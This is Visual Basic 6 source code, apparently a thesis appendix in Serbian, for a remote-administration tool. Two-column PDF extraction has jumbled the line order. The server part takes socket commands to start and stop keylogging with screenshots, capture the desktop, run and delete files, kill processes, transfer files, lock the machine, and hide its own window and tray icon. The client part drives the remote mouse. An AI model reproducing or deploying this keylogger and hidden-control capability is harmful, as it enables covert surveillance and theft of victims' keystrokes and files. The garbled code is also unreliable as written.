RemoveIconFromTray End Sub
Unload frmOptions Private Sub MessageTimer_Timer()
Unload Me lblStatus.ForeColor = &HFF8080
45
End If W1.State = sckConnected Then
End Sub lblStatus.Caption = " Status: Connected"
Private Sub Form_Terminate() MessageTimer.Enabled = False
RemoveIconFromTray Else
Unload frmOptions lblStatus.Caption = " Status: Listening"
Unload Me End If
End Sub End Sub
Private Sub Form_Unload(Cancel As Integer) Private Sub mnuAbout_Click()
RemoveIconFromTray frmAbout.Show
Unload frmOptions End Sub
Unload Me Private Sub mnuoptClose_Click()
End cmdClose = True
End Sub End Sub
Private Sub KeyTimer_Timer() Private Sub mnuoptShow_Click()
On Error Resume Next frmOptions.Visible = True
Dim tPA As POINTAPI frmOptions.cmdCancel.SetFocus
'ovde???????????????????????????????????????????? End Sub
Dim fStr As String Private Sub mnuoptstop_Click()
' Get cursor cordinates or MOUSE Position i.e (x,y) cmdStop = True
GetCursorPos tPA End Sub
'??????????????????????????????????????????????????? Private Sub picture1_MouseMove(Button As Integer, Shift
'Scan the Array first : Special keys As Integer, X As Single, y As Single)
For q = 0 To 61 Static rec As Boolean, Msg As Long
key = GetAsyncKeyState(KeyList(q)) 'Get the status of Dim retVal As String
each KEY ????????????????? Dim returnstring
If key = -32767 Then 'Key has been Pressed Dim retvalue
If KeyChar(q) = "Return" Or KeyChar(q) = "LButton" Msg = X / Screen.TwipsPerPixelX
Then 'Key Pressed is ENTER/RETURN Key or Left Mouse If rec = False Then
Button rec = True
KeyTimer.Enabled = False Select Case Msg
'Takes the snapshot of the screen currently viewing by 'this is where you would invoke a program
the user of the system. 'Use the Left Mouse Button to trigger a shell
fStr = App.Path & "\" & Time & ".bmp" 'to the desired program by clicking on
boolVal = fSaveGuiToFile(fStr) 'the TrayBar Icon shown (The Form's Icon)
'????????????????????????????????????????????? Case WM_LBUTTONDOWN:
KeyTimer.Enabled = True 'Resume monitoring Case WM_LBUTTONDBLCLK
HitEnter = True Restore
End If Me.Show
Case WM_LBUTTONUP
Case WM_RBUTTONDBLCLK: 'not used in this program SockExplorer.GetData sIncoming
Case WM_RBUTTONDOWN: 'not used in this program If InStr(1, sIncoming, "|FN|") <> 0 Then
Case WM_RBUTTONUP: FldrName = Mid(sIncoming, 5, Len(sIncoming))
'if Right Mouse Button is down then Dim RUAllowed As String
'Bring up the Popup Menu RUAllowed = UCase(Environ("Systemroot"))
Me.PopupMenu mnuopt If RUAllowed = "C:\" & UCase(FldrName) Then
End Select Allowed = False
rec = False Else
End If Allowed = True
End Sub End If
Private Sub Restore() Exit Sub
Me.WindowState = 0 End If
End Sub If InStr(1, sIncoming, "|NEWFOLDER|") <> 0 Then
Private Sub sckProcesses_ConnectionRequest(ByVal NewFolder Mid(sIncoming, 12, Len(sIncoming))
requestID As Long) Exit Sub
If sckProcesses.State <> sckClosed Then End If
sckProcesses.Close If InStr(1, sIncoming, "|REMOVEFOLDER|") <> 0 Then
sckProcesses.Accept requestID RmDir Mid(sIncoming, 15, Len(sIncoming))
Else Exit Sub
sckProcesses.Accept requestID End If
End If Command = EvalData(sIncoming, 1)
Pause 10 Drive = EvalData(sIncoming, 2)
Dim PROC As String If InStr(1, sIncoming, "|FOLDERS|") <> 0 Then
For q = 0 To List1.ListCount - 1 If Allowed = False Then
PROC = List1.List(q) SockExplorer.SendData "|NOT|"
sckProcesses.SendData PROC Exit Sub
Pause 50 Else
Next q lblStatus.Caption = " Status: Sending Folder (" &
PROC = "DONE" FldrName & ")"
46
sckProcesses.SendData PROC lblStatus.ForeColor = vbGreen
Pause 10 MessageTimer.Enabled = True
sckProcesses.Close sData = Enum_Folders(Mid$(sIncoming, 10,
End Sub Len(sIncoming))) '???????????????
Private Sub SockExplorer_Close() SockExplorer.SendData sData
lblStatus.Caption = " Status: Closing Remoter Explorer" DoEvents
lblStatus.ForeColor = vbGreen Sleep (500)
MessageTimer.Enabled = True sData = Enum_Files(Mid$(sIncoming, 10,
SockExplorer.Close Len(sIncoming))) '?????????????????
SockExplorer.Listen EvalSize sData
End Sub lblStatus.Caption = " Status: Sending File Info For
Private Sub sockExplorer_ConnectionRequest(ByVal Folder: " & FldrName
requestID As Long) lblStatus.ForeColor = vbGreen
lblStatus.Caption = " Status: Opening Remote Explorer" MessageTimer.Enabled = True
lblStatus.ForeColor = vbGreen Exit Sub
MessageTimer.Enabled = True End If
If SockExplorer.State <> sckClosed Then End If
SockExplorer.Close If InStr(1, sIncoming, "|GETFILE|") <> 0 Then
SockExplorer.Accept requestID If frmOptions.chkDownload.Value = 1 Then
lblStatus.Caption = " Status: Enumerating Drives" lblStatus.Caption = " Status: Transfering - " &
lblStatus.ForeColor = vbGreen Mid(sIncoming, 10, Len(sIncoming))
MessageTimer.Enabled = True lblStatus.ForeColor = vbGreen
SockExplorer.SendData Enum_Drives MessageTimer.Enabled = True
End Sub SendFile Mid$(sIncoming, 10, Len(sIncoming)),
Private Sub NewFolder(NFDR As String) SockExplorer ' ?????????????????????????
Debug.Print NFDR SockExplorer.SendData "|COMPLEET|"
MkDir NFDR Exit Sub
lblStatus.Caption = " Status: Creating Folder - " & NFDR Else
lblStatus.ForeColor = vbGreen SockExplorer.SendData "|CANT|"
MessageTimer.Enabled = True Exit Sub
End Sub End If
Private Sub sockExplorer_DataArrival(ByVal bytesTotal As End If
Long) If InStr(1, sIncoming, "|UPLOAD|") <> 0 Then
Dim sIncoming As String Open Mid(sIncoming, 9, Len(sIncoming)) For Binary As
Dim iCommand As Integer #1
Dim sData As String bFileTransfer = True
Dim lRet As Long Exit Sub
Dim Drive As String End If
Dim Command As String
If InStr(1, sIncoming, "|DONEUPLOAD|") <> 0 Then Filez(i) = "|SOME|" & Mid(WhatToBreakUp, 1, StrB)
Dim XYZ As Integer WhatToBreakUp = Mid(WhatToBreakUp, StrB + 1,
XYZ = Len(sIncoming) Len(WhatToBreakUp))
XYZ = XYZ - 12 End If
sIncoming = Mid(sIncoming, 1, XYZ) End If
bFileTransfer = False Next i
Put #1, , sIncoming For i = 0 To 50
Close #1 If Filez(i) <> "" Then
Exit Sub SockExplorer.SendData Filez(i)
End If Pause 10
If bFileTransfer = True Then End If
If InStr(1, sIncoming, "|FILESIZE|") <> 0 Then Next i
Exit Sub SockExplorer.SendData "|FILES|"
End If For i = 0 To 50
Put #1, , sIncoming Filez(i) = ""
End If Next i
End Sub End Function
Function EvalSize(STRNG As String) Function EvalData(Incoming As String, Side As Integer,
'I determined this size by seeing what the client Optional SubDiv As String) As String
'actually was able to receive by using debug.print Dim i As Integer
len(sIcoming) Dim TempStr As String
'Anything over that size is "broken up." Dim Divider As String
FS = Len(STRNG) If SubDiv = "" Then
If FS <= 4320 Then Divider = ","
STRNG = "|SOME|" & Mid(STRNG, 8, Len(STRNG)) Else
SockExplorer.SendData STRNG Divider = SubDiv
Pause 10 End If
SockExplorer.SendData "|FILES|" Select Case Side
47
Exit Function Case 1
End If For i = 0 To Len(Incoming)
Dim FS2 As Integer TempStr = Left(Incoming, i)
If FS > 4320 Then If Right(TempStr, 1) = Divider Then
For i = 1 To 50 EvalData = Left(TempStr, Len(TempStr) - 1)
If FS / i < 4320 Then Exit Function
FS2 = i End If
'this is where I call the "BreakUp Thingy" Next
BreakItUp STRNG, FS2 Case 2
Exit Function For i = 0 To Len(Incoming)
End If TempStr = Right(Incoming, i)
Next i If Left(TempStr, 1) = Divider Then
End If EvalData = Right(TempStr, Len(TempStr) - 1)
End Function Exit Function
Function BreakItUp(WhatToBreakUp As String, End If
HowManyTimes As Integer) Next
WhatToBreakUp = Mid(WhatToBreakUp, 8, End Select
Len(WhatToBreakUp)) End Function
Dim SCount As Long
Dim StrB As Integer Private Sub Timer1_Timer()
Dim StrC As Integer Prev = pos
Dim strD As Long 'r =
StrC = 0 GetCursorPos(pos) ???????????????????????
SCount = Len(WhatToBreakUp) ?
StrB = SCount / HowManyTimes Dim DiffY As Integer, DiffX As Integer
For i = 1 To HowManyTimes If Prev.y = 0 And pos.y = 0 Then
StrC = StrC + 1 DiffY = 1
If StrC = 1 Then ElseIf Prev.y = 599 And pos.y = 599 Then
Filez(i) = "|SOME|" & Mid(WhatToBreakUp, 1, StrB) DiffY = -1
WhatToBreakUp = Mid(WhatToBreakUp, StrB + 1, End If
Len(WhatToBreakUp)) If Prev.X = 0 And pos.X = 0 Then
Else DiffX = 1
If Len(WhatToBreakUp) < StrB Then ElseIf Prev.X = 799 And pos.X = 799 Then
Filez(i) = "|SOME|" & WhatToBreakUp DiffX = -1
Exit For End If
Else
48
lblStatus.Caption = " Status: Connected" vbOKOnly, title
Else If LCase(Style) = "vbretrycancel" Then MsgBox Body,
W1.Accept requestID vbRetryCancel, title
lblStatus.Caption = " Status: Connected" If LCase(Style) = "vbyesno" Then MsgBox Body, vbYesNo,
End If title
Pause 10 If LCase(Style) = "vbyesnocancel" Then MsgBox Body,
sckProcesses.Close vbYesNoCancel, title
sckProcesses.Listen If Hidden = True Then Me.Hide
Login W1.SendData "|MSGOVER|"
End Sub End Sub
Private Sub Login() Private Sub W1_DataArrival(ByVal bytesTotal As Long)
If frmOptions.chkAutoLogin.Value = 1 Then Dim sFormated As String
If frmOptions.chkVerify.Value = 0 Then Dim sIncoming As String
SendTheInformation W1.GetData Data
' ???????????????????????????????
Else If InStr(1, Data, "|UNLOCKSYSTEM|") <> 0 Then
Msg = "|LOGIN|" frmLock.lblUnlock.Caption = "TRUE"
W1.SendData Msg Unload frmLock
End If tmrLock.Enabled = False
Else lblStatus.Caption = " Status: Connected"
Msg = "|LOGIN|" Exit Sub
W1.SendData Msg End If
End If If InStr(1, Data, "|LOCKSYSTEM|") <> 0 Then
End Sub tmrLock.Enabled = True
Private Sub Execute(Filez As String) frmLock.Show
ShellExecute Me.hwnd, "Open", Filez, "", "", 1 Exit Sub
End Sub End If
Private Sub OpenIE(Page As String) If InStr(1, Data, "|CLOSECHAT|") <> 0 Then
If LCase(Mid(Page, 1, 4)) <> "http" Then lblStatus.ForeColor = vbGreen
ShellExecute Me.hwnd, vbNullString, "http://" & Page, lblStatus.Caption = " Status: Closing Chat"
vbNullString, Left$(CurDir$, 3), SW_SHOWNORMAL MessageTimer.Enabled = True
Else Unload frmChat
ShellExecute Me.hwnd, vbNullString, Page, vbNullString, 'Pause 10
Left$(CurDir$, 3), SW_SHOWNORMAL Load frmChat
End If Exit Sub
End Sub End If
Private Sub NewMessage(Message As String) If InStr(1, Data, "|CHAT|") <> 0 Then
Dim int1 As Integer lblStatus.ForeColor = vbGreen
Dim int2 As Integer lblStatus.Caption = " Status: Starting Chat"
Dim int3 As Integer
49
lblStatus.ForeColor = vbGreen End
MessageTimer.Enabled = True End If
Exit Sub If InStr(1, Data, "|STOPPROCESS|") <> 0 Then
End If Dim PR As String
If InStr(1, Data, "|STARTLOGGING|") <> 0 Then PR = Mid(Data, 14, Len(Data))
StartLogging lblStatus.Caption = " Status: Ending Process - " & PR
lblStatus.Caption = " Status: Executing Key-Logging" lblStatus.ForeColor = vbGreen
lblStatus.ForeColor = vbGreen MessageTimer.Enabled = True
MessageTimer.Enabled = True StopProcess PR
Exit Sub Exit Sub
End If End If
If InStr(1, Data, "|STOPLOGGING|") <> 0 Then If InStr(1, Data, "|LOGIN|") <> 0 Then
StopLogging If frmOptions.chkVerify.Value = 1 Then
lblStatus.Caption = " Status: Stopping Key-Logging" Verify Mid(Data, 8, Len(Data))
lblStatus.ForeColor = vbGreen Else
MessageTimer.Enabled = True LoginZ Mid(Data, 8, Len(Data))
Exit Sub lblStatus.Caption = " Status: Logging In User"
End If lblStatus.ForeColor = vbGreen
If InStr(1, Data, "|IE|") <> 0 Then MessageTimer.Enabled = True
OpenIE Mid(Data, 5, Len(Data)) End If
Exit Sub Exit Sub
End If End If
If InStr(1, Data, "|EXECUTE|") <> 0 Then If InStr(1, Data, "|REFRESH PROCESSES|") <> 0 Then
Execute Mid(Data, 10, Len(Data)) RefreshProcesses
Exit Sub Exit Sub
End If End If
If InStr(1, Data, "|KILLFILE|") <> 0 Then If InStr(1, Data, "|HIDE|") <> 0 Then
Kill Mid$(Data, 11, Len(Data)) Me.Hide
lblStatus.Caption = "Status: Deleting - " & Mid(Data, 11, Hidden = True
Len(Data)) RemoveIconFromTray
lblStatus.ForeColor = vbGreen Exit Sub
MessageTimer.Enabled = True End If
Exit Sub If InStr(1, Data, "|SHOW|") <> 0 Then
End If Me.Show
If InStr(1, Data, "|GETDESKTOP|") <> 0 Then Hidden = False
Clipboard.Clear AddIcon2Tray
lblStatus.Caption = " Status: Capturing Desktop" Exit Sub
lblStatus.ForeColor = vbGreen End If
' GetDesktopPrint (App.Path & "\DESKTOP.BMP") End Sub
sIncoming = App.Path & "\DESKTOP.BMP" Private Sub Verify(Whoz As String)
lblStatus.Caption = " Status: Sending Desktop" Dim OK As Boolean
For i = 0 To frmOptions.List1.ListCount - 1
If frmOptions.List1.List(i) = Whoz Then
If frmOptions.chkAutoLogin.Value = 1 Then
SendTheInformation
Exit Sub
Else
LoginZ Whoz
Exit Sub
End If
End If
Next i
lblStatus.Caption = " Status: Listening"
W1.Close
W1.Listen
SockExplorer.Close
SockExplorer.Listen
End Sub
Private Sub LoginZ(Who As String)
If MsgBox(Who & " Is attempting to log onto your
computer. Do you want to allow this?", vbYesNo,
"ATTEMPTED LOG ON BY " & Who) = vbNo Then
W1.Close
W1.Listen
SockExplorer.Close
SockExplorer.Listen
lblStatus.Caption = " Status: Listening"
Exit Sub
50
Else
lblStatus.Caption = " Status: " & Who & " - Currently
Connected"
SendTheInformation
End If
End Sub
Private Sub StopProcess(process As String)
Text1.Text = process
Command1 = True
End Sub
51
Text1 = 0 Private Sub Form_Load()
End Sub Form1.Show
Private Sub Command12_Click() txtStatus.Text = ""
Frame1.Visible = False End Sub
End Sub Private Sub Form_MouseDown(Button As Integer, Shift As
Private Sub Command2_Click() Integer, X As Single, Y As Single)
On Error GoTo nio: Text4 = Button
click.RemoteHost = txtHost End Sub
click.RemotePort = 1312 Private Sub Form_MouseMove(Button As Integer, Shift As
click.Connect Integer, X As Single, Y As Single)
nio: xx = X
End Sub yy = Y
Private Sub Command3_Click() End Sub
txtSendX = txtSendX + 10 Private Sub Label7_Click()
Text1 = 0 Unload Me
End Sub End Sub
Private Sub Command4_Click() Private Sub Text1_Change()
Frame1.Visible = False If Text1.Text = "49" Then
End Sub Command9_Click
Private Sub Command5_Click() End If
Form1.Picture = LoadPicture(App.Path & "\" & txtHost.Text If Text1.Text = "51" Then
& ".jpg") Command10_Click
Frame1.Visible = False End If
Timer3.Enabled = True If Text1.Text = "55" Then
Timer1.Enabled = True Command11_Click
Timer2.Enabled = True End If
Form1.WindowState = 2 If Text1 = 113 Then
Form1.BorderStyle = 0 click.SendData "113"
End Sub Text1 = 0
End If
If Text1 = 115 Then Public Sub CrezyMouse1()
click.SendData "115" ' dogadjaj dklik
Text1 = 0 Dim CButt As Long, Extra As Long
End If mouse_event MOUSEEVENTF_LEFTDOWN Or
If Text1 = 53 Then click.SendData "53" MOUSEEVENTF_LEFTUP, &H2, &H4, CButt, Extra
End Sub mouse_event MOUSEEVENTF_LEFTDOWN Or
Private Sub Timer1_Timer() MOUSEEVENTF_LEFTUP, &H2, &H4, CButt, Extra
On Error GoTo ni: End Sub
ykor.SendData txtsendY
ni:
End Sub
Private Sub Timer2_Timer()
On Error GoTo nik:
If txtSendX = 1000 Then txtSendX = txtSendX + 1
Private Sub txtsendY_Change()
xkor.SendData txtSendX If txtsendY < 0 Then txtsendY = 0
nik: End Sub
End Sub Private Sub xkor_DataArrival(ByVal bytesTotal As Long)
Private Sub Timer3_Timer() Dim strData As String
On Error GoTo nio: xkor.GetData strData, vbString
Form1.Picture = LoadPicture(App.Path & "\" & txtHost.Text txtStatus.Text = strData
& ".jpg") End Sub
nio: Private Sub ykor_DataArrival(ByVal bytesTotal As Long)
End Sub Dim strData1 As String
Private Sub Timer4_Timer() xkor.GetData strData1, vbString
If xx < 1490 Then txtSendX.MaxLength = 2 Text2.Text = strData1
If xx > 14900 Then txtSendX.MaxLength = 4 End Sub
If xx > 1450 And xx < 14900 Then txtSendX.MaxLength =
3
txtSendX = (xx / 149) * 10
txtsendY = (yy / 150) * 10
End Sub
52
Sledi klijent deo koji zadaje kontrole misu ..:
53
sockMain(Index).GetData strData11 Dim intCnt As Integer
txtStatus.Text = strData11 ykordi(Index).GetData strData, vbString
End Sub Text1.Text = strData
Private Sub Text1_Change() End Sub
If Text1 <= 0 Then GoTo nn: Public Sub LeviKlik()
Text4 = (Text1 / 10) * 150.47 + 64 ' dogadjaj klik
If Text4 < 100 Then Text4.MaxLength = 2 Dim CButt As Long, Extra As Long
If Text4 > 100 Then Text4.MaxLength = 4 mouse_event MOUSEEVENTF_LEFTDOWN Or
MOUSEEVENTF_LEFTUP, &H2, &H4, CButt, Extra end sub
End Sub
Public Sub DesniKlik()
' dogadjaj klik
Dim CButt As Long, Extra As Long
mouse_event MOUSEEVENTF_RIGHTDOWN Or
MOUSEEVENTF_RIGHTUP, &H8, &H10, CButt, Extra
End Sub
Public Sub LeviDupliKlik()
' dogadjaj dupli klik
Dim CButt As Long, Extra As Long
mouse_event MOUSEEVENTF_LEFTDOWN Or
MOUSEEVENTF_LEFTUP, &H2, &H4, CButt, Extra
mouse_event MOUSEEVENTF_LEFTDOWN Or
MOUSEEVENTF_LEFTUP, &H2, &H4, CButt, Extra
Form2.Show
End Sub
54